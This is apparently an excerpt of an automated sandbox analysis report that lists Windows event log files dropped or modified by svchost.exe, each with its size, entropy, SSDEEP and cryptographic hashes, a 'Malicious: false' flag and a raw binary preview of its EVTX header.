Preview:	ElfChnk.>...............>............................K......................................................................Js$.................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................A...............&...i.......~......................**......>........Q.U..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.494827128412093
Encrypted:	false
SSDEEP:	384:phN7s7o787l7r787a7J7z7+7N17g797R7g7gY7hZ7D7k7F7r7wm7NP7Y7+7fa7lX:p9iuCg
MD5:	9BD7210AB6F4734F7C834E769EB05709
SHA1:	72B48470A94E9A1DA11ACCB81EE307E4051AC45D
SHA-256:	6D9C341BD38AAF6045073BB859F83AEC6FCB5290DAB2E1B6313E5B6CAA833BF3
SHA-512:	A4285CA3B031E9F8237B61C1BB71CB356674AE409A77FFB5C02571542EF9FF8B1FAEF8D7D8F6A65D1E51EFD8E64FF2C82FC5E6838FDC6CE89058793E5A9FB3D6
Malicious:	false
Preview:	ElfChnk.Y.......g.......Y.......g............%...&..Ve........................................................................_............................................=...........................................................................................................................f...............?...........................m...................M...F...........................................=...............&...............................................................s.......................**......Y........................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1499045494600955
Encrypted:	false
SSDEEP:	384:Dhc+uaNuru+uhuKVuPJu5u9u4ufuTuxuDuvuDuOuXumui+udutui4uTAuFuauind:D6Ovc0S5UyEeDgLslstY
MD5:	2045FB0D54CA8F456B545859B9F9B0A8
SHA1:	35854F87588C367DE32A3931E01BC71535E3F400
SHA-256:	E4305D5E1125E185F25AABA6FF9E32DE70B4EFD7264FE5A0C7C2EF3C33989C45
SHA-512:	013CAC4CBF67C9AB5D2A07E771BAF81950E5A256F379E3C2E26CC9E8E47379579470CC6FD56E93B31C4D17935713D1FC6026307427D77CBE9647139E3D73AC47
Malicious:	false
Preview:	ElfChnk.........;...............;...........xk...m...+.....................................................................F.~.................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................6f..w...............................**...............&3..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8164696340947971
Encrypted:	false
SSDEEP:	384:jhGuZumutu4uEu5uOuDuyb2uPu1uRu3uGuHu9/u:jr
MD5:	1AB19FA472669F4334C7A9D44E94E1B3
SHA1:	F71C16706CFA9930045C9A888FDB3EF46CACC5BC
SHA-256:	549D89A256E3C71AFCBF551EC9BEDBDB3CF2DC74B4F8C214FDC1D270FB731F6E
SHA-512:	72F1F20CB1F2984B318E4A2AAEE11D573441A77D04C0577D24E19F89E85F1691CB29EF569BD25EBBBD313C7B9DB945DB43D52EEFC2EF33E7BEECDFB8E0BBC404
Malicious:	false
Preview:	ElfChnk...................................... ..x$../..........................................................................<................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................!..................................**..............Wy.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9855903635327656
Encrypted:	false
SSDEEP:	384:cxNhPALAb/A0D6AKAlAfyVAQhAQueA4AIAwA0AYAwA+/AfAjrA3DA:cxN90yzXd
MD5:	7BCA54AC75C7185ADFBB42B1A84F86E3
SHA1:	AD91EE55A6F9F77AD871ACA9A5B59987CA679968
SHA-256:	A43B1365211A968B4EC3F9EC7489D05AD9EED30D3EE0CCD89860D20DFE1914D4
SHA-512:	79A04DCE951528E09F7580E797E38D58CFC556EFEC032C3E68C701D720E01CBDCA3D4F27C309D50B9096570787A0E62B2C69236D148AC9C216CB13AA05E9619F
Malicious:	false
Preview:	ElfChnk.....................................P+...,...0........................................................................9.................B.......................j...=...........................................................................................................................f...............?...........................m...................M...F...........................U.......................%%......&...................................................>...........................E.......**..............o.m...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.165454452307923
Encrypted:	false
SSDEEP:	384:ghVpIcpBUpBxpBapB3pBEpBZpBKpBV1pBApBppBTSpBcu1pBspBlpBABpB7pB0py:gd+uXvB
MD5:	B6B6F199DA64422984403D7374F32528
SHA1:	980D66401DFCCF96ADDDAF22334A5CE735554E7F
SHA-256:	8F65F81EE28F48B5007E04842ACC9DE20794A59E2759C2F35F7C10730A1EF7BF
SHA-512:	5B0EFBF1C57BACF347790EB5915AFCFDDDDAFA7761D94DF1341C4E79F5B16DA3FAC2C9653C3DC41B80E31EA44AE46F4FC95C6EC0FFA0A0D3C05C69CED6955DE4
Malicious:	false
Preview:	ElfChnk.........'...............'...........P.......H:Z.....................................................................gO.................. .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................f..................................**..............m.................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8519554794255333
Encrypted:	false
SSDEEP:	384:WhtbpwV1pIvpLfpvQpw2pQYph15pcApLqBpJxTp0qo8psfp4yp4Rphe3p7PpLWBZ:WwDoh1VqKVvcVU
MD5:	4140628CA3CEC29C0B506CEEBDF684F6
SHA1:	A2B70496C8E91D8E78AA04976B25D850ABAC6E1C
SHA-256:	1823149759A2F1771ACE7B6BE14A0FEFC6F93DD9F81AC1024E6B41C2CCBFD8B0
SHA-512:	779A04771A8E9B2F501FE1251F0D56C5B5988911F6067082D84FF1DBCF5D9281E32DF6CC2C995843EA1FCED748548DC116706E0F738B6510B47C2B3A0EBAA126
Malicious:	false
Preview:	ElfChnk.\...............\.......................0..../........................................................................v.......................................R...=...........................................................................................................................f...............?...........................m...................M...F............................................;..............&...................................i...................................mS..............*..8...\........=..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1642919553794224
Encrypted:	false
SSDEEP:	384:bhwCCRzCaCkClCzCYC/CyCVCGCMCvCNCACCxC/CLCoiC:bKFb
MD5:	D7EECF043241FDB9486580582E208603
SHA1:	045D5672A8E9884B78CD31C52D372375503CBF4F
SHA-256:	6F3BE76FC00FE21C18A904058F2AF850204488187187C9B8C4BF11EAA03EC6C0
SHA-512:	6738CD1D4081AD78CCC1E3E7AC46A394D9AC32906B4688E34DCCBBA42153FB826484C854F42FFF619DC8D50CAE708585B422F3EAA3A0219AAD19DC0962910125
Malicious:	false
Preview:	ElfChnk.....................................02..h6...u'.....................................................................1..................V.......................~...=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................V2............................../...**..p............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	75320
Entropy (8bit):	4.574937524091996
Encrypted:	false
SSDEEP:	768:4dIZi8Ns5iLV8gRai8ZijiTEOmGkoeiDpb1w:t+Jao7mce8pG
MD5:	4CA0BD07B5AA9258855EB6B5B320602C
SHA1:	F097ACF6D2D13BF6DB04CF03CCC0C383C99C09CD
SHA-256:	2B52B97DF8BEB392C8D4079472140B420BD837CFEE3DC46AD85E04F02E88BA14
SHA-512:	7BB2DBE9C19B056F0F42A4908E278B236F737963E70FD493F63514F2AD2365D7D651AB389F1BBB03444EA1F0D1BB99D3EB6A9A447012AA14844766266C642104
Malicious:	false
Preview:	ElfChnk.........................................h ...L......................................................................'..-........................................4...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..0...........<................&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 15, DIRTY
Category:	dropped
Size (bytes):	79016
Entropy (8bit):	1.8192750395279649
Encrypted:	false
SSDEEP:	384:yRhL6UsE0ZUmxUmgDUmSUmKUmgUmlUmB8UmCUmeUmNUmtUmxUmuvUm3hL6UsE0ZH:OY7LzpY7Lz
MD5:	AEEA2E768739E52A3B775E5375ED0734
SHA1:	3C13EEEEE744AD6DCA5F1493ABB8107082DF2F41
SHA-256:	51BFCBD35C709D15D89B3A00B8BF316787E0A8868B08196DB4B744AD7648BE15
SHA-512:	716FD25DEC45BF0216F5406C91487E6FCF6723BA48DDBA9629768447C955F594640419DC57DF1D04B90B8E3B2EF7648C9D13CAF43CB2C9F161F9EFEF675612A5
Malicious:	false
Preview:	ElfFile.....................................................................................................................\>.eElfChnk....................................../..(4...._.....................................................................E.Yp................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................&..................................................................................../..................................**..............a...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZUtil%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20426685429180536
Encrypted:	false
SSDEEP:	48:MhW4zIrP+MZQNRBEZWTENO4bpBkoh6/6FgVt:MzmKNVaO80oh6/6Fg
MD5:	A69F505BA6AF5B7207FEEE61C65FD393
SHA1:	D81DA234D75EE7EA2F0F3AA117ED520964B82B28
SHA-256:	6CF323F0D7C71CDB9068600915828E9319FC7FD4089514B3A9A90D2D85CEC0A7
SHA-512:	951F9DB216C57A800265B8BF03A15C075819C229422FCB549922FDCF616599D1E8A2E735F2D896D7F58077F028728680E81C7A7691A2E29F252DC5B43770DD7B
Malicious:	false
Preview:	ElfChnk.............................................y..@....................................................................AAx................. .......................H...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..............................&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.6469884746870727
Encrypted:	false
SSDEEP:	384:/hpivNiGiriPiYiriDfiS83i0iGiTiYiUisiuiZi+iTiciUiQiJiUiBi4i/iAixQ:/G7t8H
MD5:	FC81D9FBA555C6BC7223594B8F6B46DE
SHA1:	971F47CFC0E1DCA462928DA2D8BE2B16D5A0629C
SHA-256:	9933922E09C49C5BA80292C4AED9EC9F457031E90B28B421DFFBD2F1BB840671
SHA-512:	7F2705E7526B49F76C5F2A76A88B83FC10591BAD68B451F5C67F841322076D4B408FC515EA59E0919907C73CBBD149AB5B5EE981083A52C9E90EC9FBFAD5254F
Malicious:	false
Preview:	ElfChnk.y...............y................... Q..(S...b.......................................................................t..............................................=.......................#...................................................................................................f...............?.......................P.......................M...F...............................................................................................................VG..................................**......y..........:............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.3256209755036075
Encrypted:	false
SSDEEP:	768:S1a0NsamaCaCauauaua2apaNa1a9ajanadaga8aAarafa9agaMaVaGaCaKauayao:GNH
MD5:	02F6BB21537479BBF5B8855E7DB86BD9
SHA1:	EDA9E577E1306F882CE0B5156020C6FF134B7219
SHA-256:	B0D19213B0FCD06AA76305B81D1EEF1D3431998A201F65468781BBA0F8FD0863
SHA-512:	23771357B637873C391F6266B9A15DCEE2209B4476B75B9DF77C01A635DB560A9A3340FB8A3FD580D031476F76C719A2A239D348878616AB8AC7BD8B20B09A28
Malicious:	false
Preview:	ElfChnk......................................I...L.....t......................................................................>0................`...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................9...................................**..X.............>...............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Device Registration%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3132453844344478
Encrypted:	false
SSDEEP:	384:hhaXJb4+XJcXJsXJrXJQXJIXJdXJkXJuXJyXJLMXJnXJRXJtXJLXJjXJppXJ:hQ0yUkNYwD8imLE5nTtFpf
MD5:	6237EE0458A0478242B975E9BB7AA97D
SHA1:	6B0BDBA887DA21675A63FC73AED995B1BCA3F6B1
SHA-256:	C8E224C54278C206302EAD7011ACC48CAC60E7638E32EE70653190DBC90FA70A
SHA-512:	56C025C971F77AB8E911E0190E8AB5CF533A909C1BF4558876FB2761AAA381CB7D21E44A3273FA4427CB2FF7DEECC15A312DD2A424B96ABDC4886BDF233F30E9
Malicious:	false
Preview:	ElfChnk......................................<...A.........................................................................i,.q................j...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................<......C...........................**..............@V.$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.325262033408211
Encrypted:	false
SSDEEP:	384:6hYmn9moomUmKBmZOmZmlmmmomRmemtmsmimGmHmEmqmwmHmLmlm9mGmdmpm3mfO:6/fGTDcx
MD5:	D13189B45679E53F5744A4D449F8B00F
SHA1:	ED410CAB42772E329F656B4793B46AC7159CF05B
SHA-256:	BAA80D6A7DC42752766B1862A00009A1D76B57022A4D5A89692DBA2D6866EBA1
SHA-512:	83399CE082F8C6D2917B8363E053C770F2783B3D086F39736919FBFA533DF65993A3B7840A2E1000B08948584CF9750C27961BF8A7BE3A235B5DDD779616013F
Malicious:	false
Preview:	ElfChnk.....................................h.................................................................................-.................X...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................1...........&.......................................................................................**..x...........~_g...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7947046118743749
Encrypted:	false
SSDEEP:	384:jhr2zS2o202AW2D2t2l292l2V2p2d2N2:j8Q
MD5:	55E73A924B170FBFFF862E8E195E839A
SHA1:	3C625D05DFC08AE9DF26AEBAA82D72FC9F28ADB0
SHA-256:	1B36D85AA56A023F6646D6EF28C9DCB5358528274EDCC9B6ED20705E3007E8A2
SHA-512:	E14D32569F37A827EDBD1F02667866431C856D087A396933DE5E9B87943369C4802D220557050C7B0FE9367FBD0683676776E6D3CCBCB290C9F30D86EC529E28
Malicious:	false
Preview:	ElfChnk...................................... ..X"...........................................................................?.................Z...........................=...........................................................................................................................f...............?...........................m...................M...F...............................3...........................&.......................................................................................**................................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	68728
Entropy (8bit):	4.365914828585621
Encrypted:	false
SSDEEP:	384:EXl3R0RClRjRKXxhSRumRtRqR5RVR+rRvR3RFRXRmRbR+RLRlRFRDRiwhR3KR31u:8J8xA8nPLGbUK
MD5:	579EE360C5D4F58318ED5DB686344B95
SHA1:	1ECFF0A525B3B1DCD71B93EB536706FCBE55DD70
SHA-256:	B416B51838D8DA065388AE06184E2DFD9640460C9FD0C149B51F0396A4A3F4F5
SHA-512:	AEA4C7F4A348BC081A05C9B05C90A8DB1A84AFFBE590DB01127DB79FE15996667850999F111F0B6EEDE15CC305B428A74720C0ABC7EF9B5CDAD4014A91AECBF9
Malicious:	false
Preview:	ElfChnk.............................................jO.....................................................................um.......................y.......x..N...........=............................................y..................}y..3...........................................c......xb..f...h.......lc..?.......................h........c......M.......M...F...9c..............................................Qb..............................................A.......i.......................&............x..*..............+c..t..........x68................................................................<.......T...-.!................@+c..t...]P./..&I.....G..H...d........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y.......#F.~.J.{..M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y./.O.p.e.r.a.t.i.o.n.a.l......Qb.........................P.r.o.t.e.c.t.i.o.n.M.a.n.a.g.e.m.e.n.t.......w.m.i.p.r.v.s.e...e.x.e...H...".%.P.r.o.g.r.a.m.D.a.t.a.%.\.M.i.c

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.273338343434408
Encrypted:	false
SSDEEP:	384:mhWhjhUh4h4hthXhzh8cghshqh9hihXhMhxhzhwhohGh5h3hShChWhzhLhahYhC1:mBsFpkBjOFK
MD5:	C37372EB51AEDB4552CB839C7294403A
SHA1:	7B7C408D72B084CE36AA6B623AC6B907FD21D569
SHA-256:	C3B5D9D16F88507EF69A9B6FF8581AEBAFF84D254F62CD4E75B6A9C6F93E93C4
SHA-512:	69183719C29FCE5CEDB2634579ABA9FEF835A3CDC7668BB741F9DB36050756C088FD331E898DA8E4850887FD217B939DF1C5A3E7D73D2260CB3AC3570E71718E
Malicious:	false
Preview:	ElfChnk....................................................................................................................x...........................................8...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..............i.T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WebAuthN%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.231195890775603
Encrypted:	false
SSDEEP:	384:ZhOVPiVcVCVC7VNVtVEV3Vob7V5VXVmVbVoV/VEVptVtVBVnVOVt9VjViVyVKVui:Zyjbn
MD5:	3365A34953FD7B16667108A049B64DA5
SHA1:	C72421A58E063D64072152344B266F8306A78702
SHA-256:	AAEDFFE84B66B602858AF51D5B2EBA7CFC9DB57A4A3DD3240DB44B737B9BBF26
SHA-512:	A5569EDC7516DACCCE7B3135114588E01ED1A77CA95B0F378E389E27AC8999EA71E8AF36FD275EEA7E81987CB9BF14910645DE3DC4FE8E086FF532796DD78AAF
Malicious:	false
Preview:	ElfChnk.........!...............!............7..`8...j......................................................................@..#................&...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................v....................................................3..................................**..P...........y................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.350749563754863
Encrypted:	false
SSDEEP:	384:Dh+BwB5BwBjBwBNSBwBYiBwB+BwBXBwBZabSqBwBlQBwBtfBwBvBwBPnBwBIrBw7:DOqabeGTnbuSxks
MD5:	9DC5DB60F60A68C4F33828D06C0EC11D
SHA1:	7D7EFFEA3CB508D3959F463669A2CF40EBB5C448
SHA-256:	62EF850AC3CB04DE306491E32E51EE82405BC671D103ABB8E27383EA48B9F35A
SHA-512:	38E88363CA8C830F16FAEBCAEB4D5514FADB3F9D4B4E411DE8A7B6514DCEF4D3C3E03FCF81E51EEAEBEF1209F4771DE32D2195B0BDB71830168645D23B93C04C
Malicious:	false
